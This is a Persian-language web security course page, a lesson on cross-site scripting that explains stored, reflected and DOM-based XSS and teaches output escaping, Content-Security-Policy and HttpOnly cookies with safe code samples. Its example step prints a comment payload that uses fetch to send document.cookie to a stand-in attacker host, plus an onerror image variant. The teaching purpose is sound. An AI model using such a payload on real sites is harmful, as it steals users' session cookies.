فصل ۱ — ذهنیت امنیت و OWASP
ذهنیت امنیتی: سطح حمله، حداقل دسترسی و دفاع در عمقفصل ۲ — حملات رایج و دفاع
XSS — تزریق اسکریپت و دفاع سهلایه SQL Injection — مهاجم به دیتابیس شما میرسد CSRF و Clickjacking — حملات به اعتماد مرورگر آپلود امن فایل و SSRFفصل ۳ — احراز هویت و نشست
رمز عبور امن: hashing، policy و بازیابی نشستها و کوکیها: session fixation و hijackingفصل ۴ — سختسازی و واکنش به حادثه
HTTPS و هدرهای امنیتی — ست کردن درست واکنش به حادثه: کشف، پاکسازی و یادگیریپروژه عملی پایان دوره
پروژه پایانی — ممیزی امنیتی یک سایت واقعی خودتانXSS — تزریق اسکریپت و دفاع سهلایه
XSS (Cross-Site Scripting) یعنی مهاجم جاوااسکریپت خودش را در صفحه قربانی اجرا میکند: در کامنت، پروفایل یا URL. با اجرای کد در مرورگر کاربر، کوکی نشست را میدزدد یا صفحه جعل میکند. جزو همیشهحاضرهای OWASP است و دفاعش سه لایه دارد.
مراحل قدمبهقدم
-
۱
سه نوع XSS
Stored:payload در دیتابیس ذخیره میشود (کامنت مخرب) و برای همه نمایش داده میشود — خطرناکترین. Reflected: در URL میآید و در پاسخ بازتاب مییابد (جستجو). DOM-based: در JS کلاینت از location.hash میخواند و در DOM مینویسد.
-
۲
نمونه payload
کامنت: <script>fetch('https://evil.io?c='+document.cookie)</script> — هر کسی صفحه را ببیند، کوکیاش میرود. حتی بدون تگ script: <img src=x onerror="…"> هم اجرا میشود؛ پس فیلتر «حذف script» کافی نیست.
-
۳
دفاع اول: خروجی escaping
قانون طلایی: داده کاربر هرگز مستقیم در HTML نمیرود. در PHP با htmlspecialchars($s, ENT_QUOTES, 'UTF-8')؛ در JS با textContent بهجای innerHTML؛ در قالبها، escape پیشفرض روشن باشد (Twig/Jinja/Blade). context مهم است: در attribute، در JS و در URL هر کدام escape متفاوت.
-
۴
دفاع دوم و سوم: CSP و HttpOnly
Content-Security-Policy بدون unsafe-inline اجرای اسکریپت بیرونی و inline را میبندد — حتی اگر تزریق موفق شود اجرا نمیشود. کوکی نشست با HttpOnly از دسترسی JS خارج و با Secure فقط روی HTTPS میرود؛ ترکیب این سه یعنی XSS عملاً بیاثر.
نکات مهم
- ◆ همه خروجیهای وابسته به کاربر را escape کنید؛ ثابتهای خودتان را نه.
- ◆ innerHTML = داده کاربر ممنوع؛ textContent امن است.
- ◆ HttpOnly + Secure + SameSite برای همه کوکیهای نشست.
کد یا مسیر نمونه
// ❌ خطرناک — Stored XSS:
div.innerHTML = userComment;
// ✅ امن — متن خالص:
const p = document.createElement('p');
p.textContent = userComment;
div.appendChild(p);
// ✅ PHP (سمت سرور):
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
// ✅ CSP در هدر پاسخ (Apache/PHP):
// header("Content-Security-Policy: default-src 'self'; script-src 'self'");
// setcookie('sid', $sid, ['httponly' => true, 'secure' => true, 'samesite' => 'Lax']);
اجرای زنده کد JavaScript
کد را ویرایش کنید و «اجرای کد» را بزنید — خروجی واقعی مرورگر همینجا رندر میشود؛ مثل آزمایشگاه w3schools.
پرسش و پاسخ این درس (۰)
هنوز دیدگاهی ثبت نشده؛ اولین نفر باشید!